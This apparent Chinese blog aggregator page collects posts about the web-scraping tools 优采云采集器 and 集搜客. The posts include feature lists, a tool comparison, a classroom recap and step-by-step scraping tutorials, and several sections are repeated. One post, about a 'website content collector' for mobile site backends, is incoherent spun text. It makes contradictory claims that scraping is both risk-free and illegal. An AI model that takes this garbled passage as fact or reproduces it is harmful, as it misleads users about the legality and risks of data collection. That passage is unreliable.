　　首先打開(kāi)網(wǎng)頁(yè)，其次點(diǎn)擊“下一頁(yè)”，選擇“循環(huán)點(diǎn)擊下一頁(yè)”選項，再次將列表展示的信息采集成二維表的形式，然后修改字段名稱(chēng)，最后采集并保存數據。
　　第五個(gè)，采集分頁(yè)列表詳細信息
　　首先，打開(kāi)網(wǎng)頁(yè)，其次制作循環(huán)翻頁(yè)流程，再次對電影名稱(chēng)創(chuàng )建循環(huán)點(diǎn)擊，另外，點(diǎn)擊電影標題字段，選擇“采集該元素的文本”，以同樣方式點(diǎn)擊選擇其他字段。然后修改字段名稱(chēng)，最后采集并導出數據。
　　
　　了解完優(yōu)采云采集器的五個(gè)基本操作，下面就來(lái)觀(guān)看一下我們的課堂吧。
　　這是我們本次課堂的主講：沈皓學(xué)長(cháng)
　　是不是很帥呢！講課很仔細呢！
　　同學(xué)們認真的學(xué)習和實(shí)戰操作
　　通過(guò)學(xué)習使用優(yōu)采云采集器，我們可以輕松地從各種不同的網(wǎng)站或者網(wǎng)頁(yè)獲取大量的數據，大家對這一期瑞翼工坊的內容是否有興趣呢？趕緊登陸優(yōu)采云采集器親手實(shí)踐一下吧！下一期的瑞翼工坊，我們期待你的到來(lái)！
　　本期供稿：曾競慧
　　本期美工：韋慧怡 查看全部

　　網(wǎng)站內容采集器，手機網(wǎng)站后臺采集不到的內容
　　網(wǎng)站內容采集器，手機網(wǎng)站app采集工具，直接采集手機網(wǎng)站后臺采集不到的內容，不存在病毒被封號的風(fēng)險，網(wǎng)站打不開(kāi)不要緊，但凡打開(kāi)后臺看到有無(wú)數條采集后復制不到的內容就直接給否了，
　　
　　1.沒(méi)有法律風(fēng)險，你作為代理他們不在乎，而且一般是百度引流的，當然成本較低，大不了從百度買(mǎi)。2.內容采集是一個(gè)違規的做法，在大部分人平時(shí)瀏覽網(wǎng)站的時(shí)候，一般不會(huì )看到這些內容，但百度通過(guò)爬蟲(chóng)抓取網(wǎng)頁(yè)內容后，當你網(wǎng)站百度一次進(jìn)不去只要有一條還有可能被進(jìn)入，那么百度網(wǎng)頁(yè)內容采集是不合法的。3.這個(gè)方法你只能獲取你網(wǎng)站提供服務(wù)商的服務(wù)，網(wǎng)站提供方不管你用什么采集方法，那么你獲取到的就是轉換成百度搜索分享的鏈接。
　　首先內容采集的工具并不一定是你所定義的那種模式；大部分的網(wǎng)站內容采集工具應該是百度開(kāi)發(fā)的抓取器。在操作采集器是一定是采用站內網(wǎng)頁(yè)地址結構的，如果你做過(guò)站內頁(yè)自建就知道他們抓取的地址，也有可能是html代碼采集工具，那么抓取到html代碼后他們會(huì )用f12看到鏈接可用，在下下標注工具。我在寫(xiě)站內采集器中有提到說(shuō)過(guò)數據采集的問(wèn)題，其實(shí)現如今很多大型網(wǎng)站已經(jīng)實(shí)現基于服務(wù)器端采集，基于http協(xié)議的內容采集，所以他們是可以實(shí)現數據監控的，其實(shí)內容采集工具只要下面這個(gè)基本就行了；通過(guò)，上面關(guān)鍵詞可以采集到我所要的目標內容，我提供的內容采集工具都是經(jīng)過(guò)我很多遍的測試最終選擇的這個(gè)；像你自己做站他們是不會(huì )允許你這樣操作的；所以他們寧愿要干凈的鏈接或者平臺鏈接來(lái)源。 查看全部

　　優(yōu)采云采集器-房?jì)r(jià)數據實(shí)戰
　　10309元/m
　　我保留黑色的部分，作為一個(gè)字符串截取規則，有多個(gè)數據一定要點(diǎn)擊循環(huán)匹配。
　　
　　隨便測試一條效果，只測試某一頁(yè)的價(jià)格。
　　同樣的道理，我們來(lái)測試其他的標簽。之后的內容發(fā)布和其他設置我們不需要管，保存并退出即可。之后點(diǎn)擊開(kāi)始，項目就開(kāi)始了。當前階段，數據導出是一個(gè)會(huì )員項目，免費的只能導出txt，很不好用。至于數據如何免費導出成csv，我將在之后的文章中告訴大家。 查看全部

　　如何使用優(yōu)采云采集器
　　優(yōu)采云數據采集系統以完全自主研發(fā)的分布式云計算平臺為核心，可以在很短的時(shí)間內，輕松從各種不同的網(wǎng)站或者網(wǎng)頁(yè)獲取大量的規范化數據，幫助任何需要從網(wǎng)頁(yè)獲取信息的客戶(hù)實(shí)現數據自動(dòng)化采集，編輯，規范化，擺脫對人工搜索及收集數據的依賴(lài)，從而降低獲取信息的成本，提高效率。
　　主要功能
　　簡(jiǎn)單來(lái)講，使用優(yōu)采云可以非常容易的從任何網(wǎng)頁(yè)精確采集你需要的數據，生成自定義的、規整的數據格式。優(yōu)采云數據采集系統能做的包括但并不局限于以下內容：
　　1. 金融數據，如季報，年報，財務(wù)報告, 包括每日最新凈值自動(dòng)采集;
　　2. 各大新聞門(mén)戶(hù)網(wǎng)站實(shí)時(shí)監控，自動(dòng)更新及上傳最新發(fā)布的新聞;
　　3. 監控競爭對手最新信息，包括商品價(jià)格及庫存;
　　4. 監控各大社交網(wǎng)站，博客，自動(dòng)抓取企業(yè)產(chǎn)品的相關(guān)評論;
　　5. 收集最新最全的職場(chǎng)招聘信息;
　　6. 監控各大地產(chǎn)相關(guān)網(wǎng)站，采集新房二手房最新行情;
　　7. 采集各大汽車(chē)網(wǎng)站具體的新車(chē)二手車(chē)信息;
　　8. 發(fā)現和收集潛在客戶(hù)信息;
　　9. 采集行業(yè)網(wǎng)站的產(chǎn)品目錄及產(chǎn)品信息;
　　10. 在各大電商平臺之間同步商品信息，做到在一個(gè)平臺發(fā)布，其他平臺自動(dòng)更新。
　　
　　產(chǎn)品優(yōu)勢
　　操作簡(jiǎn)單
　　操作簡(jiǎn)單，完全可視化圖形操作，無(wú)需專(zhuān)業(yè)IT人員，任何會(huì )使用電腦上網(wǎng)的人都可以輕松掌握。
　　云采集
　　采集任務(wù)自動(dòng)分配到云端多臺服務(wù)器同時(shí)執行，提高采集效率，可以很短的時(shí)間內 獲取成千上萬(wàn)條信息。
　　拖拽式采集流程
　　模擬人的操作思維模式，可以登陸，輸入數據，點(diǎn)擊鏈接，按鈕等，還能對不同情況采取不同的采集流程。
　　圖文識別
　　內置可擴展的OCR接口，支持解析圖片中的文字，可將圖片上的文字提取出來(lái)。
　　定時(shí)自動(dòng)采集
　　采集任務(wù)自動(dòng)運行，可以按照指定的周期自動(dòng)采集，并且還支持最快一分鐘一次的實(shí)時(shí)采集。
　　2分鐘快速入門(mén)
　　內置從入門(mén)到精通所需要的視頻教程，2分鐘就能上手使用，另外還有文檔，論壇，qq群等。
　　免費使用
　　它是免費的，并且免費版本沒(méi)有任何功能限制，你現在就可以試一試，立即下載安裝。 查看全部

　　優(yōu)采云采集器-房?jì)r(jià)數據實(shí)戰
　　10309元/m
　　我保留黑色的部分，作為一個(gè)字符串截取規則，有多個(gè)數據一定要點(diǎn)擊循環(huán)匹配。
　　
　　隨便測試一條效果，只測試某一頁(yè)的價(jià)格。
　　
　　同樣的道理，我們來(lái)測試其他的標簽。之后的內容發(fā)布和其他設置我們不需要管，保存并退出即可。之后點(diǎn)擊開(kāi)始，項目就開(kāi)始了。當前階段，數據導出是一個(gè)會(huì )員項目，免費的只能導出txt，很不好用。至于數據如何免費導出成csv，我將在之后的文章中告訴大家。
　　 查看全部

　　淺析通用爬蟲(chóng)軟件—— 集搜客與優(yōu)采云采集器
　　
　　大 數 據 人
　　報道DT時(shí)代應用資訊及動(dòng)態(tài)，爆料剖析行業(yè)熱點(diǎn)新聞
　　最近想用爬蟲(chóng)軟件來(lái)采集網(wǎng)頁(yè)上的一些數據，根據百度的推薦以及相關(guān)關(guān)鍵詞查詢(xún)，找到了兩款軟件：“集搜客”和“優(yōu)采云”，兩款軟件都有可視化界面，對于編程思維比較薄弱的用戶(hù)來(lái)說(shuō)，這兩款軟件上手容易，操作簡(jiǎn)單易懂。今天就帶大家來(lái)了解對比一下這兩款通用的網(wǎng)絡(luò )爬蟲(chóng)軟件。
　　1.軟件安裝
　　優(yōu)采云：優(yōu)采云安裝跟其他獨立軟件一樣，從官網(wǎng)下載，直接點(diǎn)擊setup.exe安裝。
　　集搜客：集搜客網(wǎng)站上下載的軟件也是一個(gè)自解壓exe程序，雙擊啟動(dòng)安裝，看到的是火狐瀏覽器安裝過(guò)程，原來(lái)集搜客軟件是作為火狐插件發(fā)布的。
　　2.軟件界面布局
　　優(yōu)采云：優(yōu)采云的界面布局可以歸為指引型界面，用戶(hù)進(jìn)入軟件界面可以看到軟件使用提示信息，如圖一所示，包括向導模式與高級模式，同時(shí)列出了學(xué)習資源，采集規則，數據下載等等。對于初次使用的用戶(hù)來(lái)說(shuō)，起到了很好的指引作用。
　　
　　圖一：優(yōu)采云操作界面展示
　　集搜客：集搜客軟件分成兩個(gè)操作界面，MS謀數臺(圖2)和DS打數機(圖3)，謀數臺負責制定規則（網(wǎng)頁(yè)標注），打數機負責采集數據（網(wǎng)絡(luò )爬蟲(chóng)），一個(gè)謀、一個(gè)打，聽(tīng)起來(lái)還是比較符合其特征。集搜客啟動(dòng)后的界面沒(méi)有顯示使用幫助資源，而是位于“幫助”菜單中。
　　
　　圖2：集搜客謀數臺界面
　　
　　圖3：集搜客打數機界面
　　3.操作流程
　　優(yōu)采云：優(yōu)采云的操作流程主要分為4個(gè)步驟(如圖4所示)，分別為：
　　設置基本信息、設計工作流程、設置采集選項、完成。
　　
　　圖4：優(yōu)采云操作流程
　　
　　圖5：優(yōu)采云設計流程
　　集搜客：集搜客的操作沒(méi)有流程的概念，似乎定義采集規則可以不遵守既定操作順序，而是有一個(gè)要領(lǐng)“建立一個(gè)箱子，把你要的內容摘進(jìn)去”。所以我們稱(chēng)之為4“塊”操作(如圖6所示)：包括命名主題、創(chuàng )建整理箱、規劃爬蟲(chóng)路線(xiàn)和定義連續動(dòng)作。
　　
　　圖6：集搜客的4塊功能
　　綜上所述，優(yōu)采云的工作流程特征十分明顯，用戶(hù)決定軟件怎樣動(dòng)作，什么時(shí)候動(dòng)作，動(dòng)作施加給哪里，從哪里采集內容等。而集搜客想讓用戶(hù)專(zhuān)注于摘什么數據，如果用戶(hù)在摘取以外還想擴展范圍那就定義爬蟲(chóng)路線(xiàn)，如果還想做些動(dòng)作那就定義連續動(dòng)作，整個(gè)流程細節用戶(hù)不用關(guān)心。
　　4.數據存儲方式
　　優(yōu)采云：優(yōu)采云分成單機運行和云采集，數據導出支持EXCEL、SQL、TXT等常用格式。
　　集搜客：集搜客沒(méi)有云采集，因為爬蟲(chóng)都在用戶(hù)自己電腦上跑，用戶(hù)想把爬蟲(chóng)放云上那是用戶(hù)自己的事。跑下來(lái)的數據以XML格式存儲，可見(jiàn)這是一種中間結果，集搜客官網(wǎng)提供了XML轉EXCEL的工具，也在會(huì )員中心提供了基于云存儲的數據導入和清洗功能，入庫后可以導出成EXCEL格式。
　　5.收費模式
　　優(yōu)采云：簡(jiǎn)單來(lái)說(shuō)是一種軟件銷(xiāo)售模式（不排除免費版），除此之外用戶(hù)下規則要積分，跑數據也要積分，而積分可以用錢(qián)購買(mǎi)或者參與社區活動(dòng)換積分。
　　集搜客：集搜客簡(jiǎn)單來(lái)說(shuō)是一種服務(wù)收費模式，軟件功能全部免費，如果需要一些爬蟲(chóng)管理和數據管理的服務(wù)，則根據服務(wù)類(lèi)型、數量和時(shí)間進(jìn)行收費。同樣，下載規則要積分，如果使用云存儲，根據存儲量和存儲時(shí)間收費。積分同樣也可以用錢(qián)購買(mǎi)，或者參與社區活動(dòng)賺積分。 查看全部

　　白楊數說(shuō) | 優(yōu)采云采集器，零代碼實(shí)現爬蟲(chóng)
　　優(yōu)采云采集器是由前谷歌搜索技術(shù)團隊基于人工智能技術(shù)研發(fā)的新一代網(wǎng)頁(yè)采集軟件。該軟件功能強大，操作簡(jiǎn)單，不僅能夠進(jìn)行數據的自動(dòng)化采集，而且在采集過(guò)程中還可以對數據進(jìn)行清洗。在數據源頭即可實(shí)現多種內容的過(guò)濾。
　　通過(guò)使用優(yōu)采云采集器，用戶(hù)能夠快速、準確地獲取海量網(wǎng)頁(yè)數據，從而徹底解決了人工收集數據所面臨的各種難題，降低了獲取信息的成本，提高了工作效率。
　　接下來(lái)我們來(lái)一起看看這款軟件的優(yōu)秀之處。
　　一
　　功能介紹
　　優(yōu)采云采集器是一款免費的采集軟件，其采集工作分為兩種類(lèi)型：流程圖模式與智能模式。
　　
　　流程圖模式的本質(zhì)是圖形化編程。該模式不僅可以支持可視化的網(wǎng)頁(yè)點(diǎn)選操作，完全符合人工瀏覽網(wǎng)頁(yè)的思維方式，用戶(hù)只需要打開(kāi)被采集的網(wǎng)站，用鼠標點(diǎn)擊幾下就能自動(dòng)生成復雜的數據采集規則；同時(shí)支持積木式采集組件拼接操作，通過(guò)將復雜的采集編碼流程進(jìn)行可視化封裝，讓開(kāi)發(fā)采集規則就像搭積木一樣簡(jiǎn)單，零基礎也能很快上手。
　　智能模式是加載網(wǎng)頁(yè)后，軟件自動(dòng)分析網(wǎng)頁(yè)結構，智能識別網(wǎng)頁(yè)內容，簡(jiǎn)化操作流程。這種模式比較適合簡(jiǎn)單的網(wǎng)頁(yè)爬取。
　　除以上兩種采集工作，優(yōu)采云采集器還支持以下功能：
　　※采集任務(wù)：100個(gè)任務(wù)，支持多任務(wù)同時(shí)運行，無(wú)數量限制
　　※ 采集網(wǎng)址：無(wú)數量限制，支持手動(dòng)輸入，從文件導入，批量生成
　　※ 采集內容：無(wú)數量限制
　　※ 下載圖片：無(wú)數量限制
　　※ 導出數據：導出數據到本地（無(wú)數量限制），導出格式：Excel、Txt、Csv、Html
　　※ 發(fā)布到數據庫：無(wú)數量限制，支持發(fā)布到本地和云端服務(wù)器，支持類(lèi)型：MySQL、PgSQL、SqlServer、MongoDB
　　※ 數據處理：字段合并，文本替換，提取數字、提取郵箱，去除字符、正則替換等
　　※篩選功能：根據條件組合對采集字段進(jìn)行篩選
　　※預登錄采集：采集需要登錄才能查看內容的網(wǎng)址
　　二
　　智能模式爬取網(wǎng)頁(yè)
　　智能模式下的網(wǎng)頁(yè)爬取只需要輸入被采集的網(wǎng)址就能智能識別出網(wǎng)頁(yè)中的內容和分頁(yè)按鈕，無(wú)需配置采集規則就能夠完成數據的采集。接下來(lái)我們詳細介紹一下智能模式的基本操作。
　?。?）輸入正確的網(wǎng)址
　　輸入了正確的網(wǎng)址，這個(gè)采集任務(wù)就成功了一半。
　　優(yōu)采云采集器支持單網(wǎng)址和多網(wǎng)址采集，支持從本地TXT文件中導入網(wǎng)址，也支持參數網(wǎng)址批量生成。
　　
　?。?）選擇頁(yè)面類(lèi)型及設置分頁(yè)
　　在智能模式下，優(yōu)采云采集器會(huì )自動(dòng)識別網(wǎng)頁(yè)，如果出現識別不準確的情況，此時(shí)您可以先手動(dòng)自動(dòng)識別一下，如果手動(dòng)自動(dòng)識別還不起效果，您可以手動(dòng)點(diǎn)選列表，從而輔助軟件識別出正確的結果。
　?。?）預登錄
　　在編輯任務(wù)過(guò)程中，我們有時(shí)候會(huì )遇到需要登錄才能查看內容的網(wǎng)頁(yè)，這時(shí)我們需要用到預登錄功能，登錄成功之后就能進(jìn)行正常的數據采集。
　?。?）預執行操作
　　在編輯任務(wù)過(guò)程中，如果用戶(hù)需要進(jìn)行點(diǎn)擊操作，可以使用預執行操作來(lái)滿(mǎn)足用戶(hù)需求。
　?。?）網(wǎng)絡(luò )安全設置
　　在編輯任務(wù)過(guò)程中，用戶(hù)如果遇到網(wǎng)頁(yè)異常的時(shí)候可以試著(zhù)使用此功能，但是要注意打開(kāi)此選項可能導致頁(yè)面上的某些內容無(wú)法采集（如iframe中的內容）。
　?。?）設置提取字段
　　智能模式下，軟件會(huì )自動(dòng)識別網(wǎng)頁(yè)中的數據并展示到采集結果預覽窗口，用戶(hù)可以根據自己的需求對字段進(jìn)行設置。
　?。?）深入采集、子網(wǎng)頁(yè)采集
　　如果用戶(hù)需要采集詳情頁(yè)的信息，可以點(diǎn)擊左上角的深入采集按鈕，或者直接點(diǎn)擊某一條鏈接，從而打開(kāi)詳情頁(yè)，采集詳情頁(yè)的數據。
　?。?）設置數據篩選/采集范圍
　　在編輯任務(wù)的過(guò)程中，用戶(hù)如果需要設置一些篩選條件或者設置采集范圍，可以點(diǎn)擊頁(yè)面上相對應的按鈕進(jìn)行功能設置。
　?。?）采集任務(wù)的設置
　　在啟動(dòng)采集任務(wù)之前，我們需要對采集任務(wù)進(jìn)行配置，包括定時(shí)啟動(dòng)、智能策略、自動(dòng)導出、文件下載、加速引擎、數據去重及開(kāi)發(fā)者設置。
　?。?0）查看采集結果及導出數據
　　在采集任務(wù)結束之后，用戶(hù)可以查看采集結果并導出數據。
　　三
　　軟件的下載
　?。?）優(yōu)采云采集器的下載及安裝
　　優(yōu)采云采集器支持Windows、Mac和Linux全操作系統。您可以進(jìn)入官網(wǎng)首頁(yè)（）直接下載軟件，網(wǎng)站會(huì )根據你的操作系統推送相應的版本。
　　
　?。?）優(yōu)采云采集器的注冊及設置
　　打開(kāi)優(yōu)采云采集器，點(diǎn)擊左上角進(jìn)行新用戶(hù)注冊。您可以選擇手機注冊或者郵箱注冊，優(yōu)采云采集器為優(yōu)采云旗下產(chǎn)品，如果您已經(jīng)注冊過(guò)優(yōu)采云的賬號，可以直接使用優(yōu)采云的賬號進(jìn)行登陸，無(wú)需再次注冊。
　?。?）軟件升級
　　一般情況下，優(yōu)采云采集器會(huì )自動(dòng)識別新版本提示更新，如果沒(méi)有提示的話(huà)，也可以在設置內檢查更新，然后登錄官網(wǎng)下載最新版本的安裝包，下載完畢后直接雙擊打開(kāi)即可進(jìn)行完成軟件更新。
　　
　　優(yōu)采云采集器是一款非常優(yōu)秀的數據采集軟件，它提供的免費功能可以解決絕大部分的數據抓取需求。如果有一些編程基礎，可以明顯的看出一些功能是對編程語(yǔ)言邏輯的封裝，比如說(shuō)流程圖模式是對流程控制的封裝，數據清洗功能是對字符串處理函數的封裝。這些高階功能擴展了優(yōu)采云采集器的能力，也增大了學(xué)習難度。 查看全部

　　互聯(lián)網(wǎng)數據采集器---優(yōu)采云
　　
　　優(yōu)采云數據采集系統以完全自主研發(fā)的分布式云計算平臺為核心，可以在很短的時(shí)間內，輕松從各種不同的網(wǎng)站或者網(wǎng)頁(yè)獲取大量的規范化數據，幫助任何需要從網(wǎng)頁(yè)獲取信息的客戶(hù)實(shí)現數據自動(dòng)化采集，編輯，規范化，擺脫對人工搜索及收集數據的依賴(lài)，從而降低獲取信息的成本，提高效率。
　　下載網(wǎng)址：
　　折疊編輯本段主要功能
　　簡(jiǎn)單來(lái)講，使用優(yōu)采云可以非常容易的從任何網(wǎng)頁(yè)精確采集你需要的數據，生成自定義的、規整的數據格式。優(yōu)采云數據采集系統能做的包括但并不局限于以下內容：
　　1. 金融數據，如季報，年報，財務(wù)報告, 包括每日最新凈值自動(dòng)采集;
　　2. 各大新聞門(mén)戶(hù)網(wǎng)站實(shí)時(shí)監控，自動(dòng)更新及上傳最新發(fā)布的新聞;
　　3. 監控競爭對手最新信息，包括商品價(jià)格及庫存;
　　4. 監控各大社交網(wǎng)站，博客，自動(dòng)抓取企業(yè)產(chǎn)品的相關(guān)評論;
　　5. 收集最新最全的職場(chǎng)招聘信息;
　　6. 監控各大地產(chǎn)相關(guān)網(wǎng)站，采集新房二手房最新行情;
　　7. 采集各大汽車(chē)網(wǎng)站具體的新車(chē)二手車(chē)信息;
　　8. 發(fā)現和收集潛在客戶(hù)信息;
　　9. 采集行業(yè)網(wǎng)站的產(chǎn)品目錄及產(chǎn)品信息;
　　10. 在各大電商平臺之間同步商品信息，做到在一個(gè)平臺發(fā)布，其他平臺自動(dòng)更新。
　　
　　折疊編輯本段產(chǎn)品優(yōu)勢折疊操作簡(jiǎn)單
　　操作簡(jiǎn)單，完全可視化圖形操作，無(wú)需專(zhuān)業(yè)IT人員，任何會(huì )使用電腦上網(wǎng)的人都可以輕松掌握。
　　折疊云采集
　　采集任務(wù)自動(dòng)分配到云端多臺服務(wù)器同時(shí)執行，提高采集效率，可以很短的時(shí)間內 獲取成千上萬(wàn)條信息。
　　折疊拖拽式采集流程
　　模擬人的操作思維模式，可以登陸，輸入數據，點(diǎn)擊鏈接，按鈕等，還能對不同情況采取不同的采集流程。
　　
　　折疊圖文識別
　　內置可擴展的OCR接口，支持解析圖片中的文字，可將圖片上的文字提取出來(lái)。
　　折疊定時(shí)自動(dòng)采集
　　采集任務(wù)自動(dòng)運行，可以按照指定的周期自動(dòng)采集，并且還支持最快一分鐘一次的實(shí)時(shí)采集。
　　折疊2分鐘快速入門(mén)
　　內置從入門(mén)到精通所需要的視頻教程，2分鐘就能上手使用，另外還有文檔，論壇，qq群等。
　　
　　折疊免費使用
　　它是免費的，并且免費版本沒(méi)有任何功能限制，你現在就可以試一試，立即下載安裝。
　　
　　
　　配置視頻教程： 查看全部

　　【教程】使用優(yōu)采云采集器軟件爬取網(wǎng)頁(yè)數據
　　地圖可視化離不開(kāi)數據的支撐，很多人苦于無(wú)法獲取數據或者不知道怎么獲取數據，可能很多人聽(tīng)說(shuō)過(guò)“爬蟲(chóng)”，也聽(tīng)說(shuō)過(guò)通過(guò)Python來(lái)“寫(xiě)爬蟲(chóng)”，畢竟這是獲取網(wǎng)頁(yè)數據的主要手段之一。但是對于很多不熟悉Python語(yǔ)言的人來(lái)說(shuō)，“寫(xiě)爬蟲(chóng)”的技術(shù)難度高，學(xué)習過(guò)程耗時(shí)。今天，我們將介紹一個(gè)數據采集軟件——優(yōu)采云采集器，并提供一個(gè)簡(jiǎn)要使用教程，使您無(wú)需編寫(xiě)代碼就可以爬取網(wǎng)頁(yè)數據。
　　在開(kāi)始收集數據前，我們需進(jìn)去優(yōu)采云采集器官網(wǎng)，下載軟件并安裝。網(wǎng)址：，可點(diǎn)擊左下“閱讀原文”可直接訪(fǎng)問(wèn)。
　　
　　爬取網(wǎng)頁(yè)數據的步驟：
　　1.打開(kāi)優(yōu)采云采集器。
　　2.新建分組：菜單欄“開(kāi)始”，點(diǎn)擊新建分組，輸入采集網(wǎng)站名稱(chēng)為分組名稱(chēng)，（通常在“采網(wǎng)址”和“采內容”選項下打勾）。
　　
　　3.新建任務(wù)：選擇新建的分組，點(diǎn)擊“新建任務(wù)”或者鼠標右鍵選擇“新建任務(wù)”，進(jìn)入到新建頁(yè)面。任務(wù)規則名為采集的對象名。新建任務(wù)界面中，包含四個(gè)步驟：網(wǎng)址采集規則、內容采集規則、內容發(fā)布規則和其他設置。
　　
　　4．添加網(wǎng)址
　　第一步：網(wǎng)址采集規則
　　查看需爬取網(wǎng)址的特點(diǎn)，選擇起始網(wǎng)址的添加方式（普通網(wǎng)址、批量網(wǎng)址、文本導入和數據庫導入）。點(diǎn)擊起始網(wǎng)址任務(wù)條中的“向導編輯”，在網(wǎng)址格式中添加地址，確定即可。本例選取北京市安居客小區網(wǎng)址為例，經(jīng)觀(guān)察測試可知，網(wǎng)頁(yè)的網(wǎng)址出現規律，選擇批量網(wǎng)址。
　　回到“網(wǎng)址采集規則”頁(yè)面，設置起始網(wǎng)址就是內容頁(yè)網(wǎng)址，并給“任務(wù)規則名”命名。網(wǎng)頁(yè)。
　　第二步：內容采集規則
　　打開(kāi)北京安居客網(wǎng)址，F12或（Fn+F12），點(diǎn)擊鼠標選取方式。通過(guò)鼠標依次點(diǎn)小區名稱(chēng)、小區地址以及當月價(jià)格等網(wǎng)頁(yè)中所需要的信息對應的位置，獲取相關(guān)代碼，鼠標右鍵，復制選擇。
　　根據這些HTML內容和自己需要的內容，在標簽列表中，點(diǎn)擊操作任務(wù)欄中的“添加”來(lái)增加新的標簽，或者點(diǎn)擊已有的標簽，進(jìn)行修改。在標簽編輯欄中，標簽提取方式有前后截取、正則提取、正文提取等方式。數據處理對話(huà)框中，文件下載中的數據支持圖片、flash等文件。
　　*號為所需要采集的參數。
　　
　　輸入網(wǎng)頁(yè)網(wǎng)址，測試結果。
　　測試結果無(wú)誤后，選擇數據保存。注意：保存文件時(shí)，模板設置一定要與收集的數據字段一致。
　　
　　
　　運行。
　　結果查看。
　　
　　優(yōu)采云采集器不僅僅可以采集網(wǎng)頁(yè)數據，還可以基于A(yíng)PI進(jìn)行數據采集。大家不妨操作試試，定會(huì )有不一樣的收獲（楊慧測試、撰寫(xiě)）。 查看全部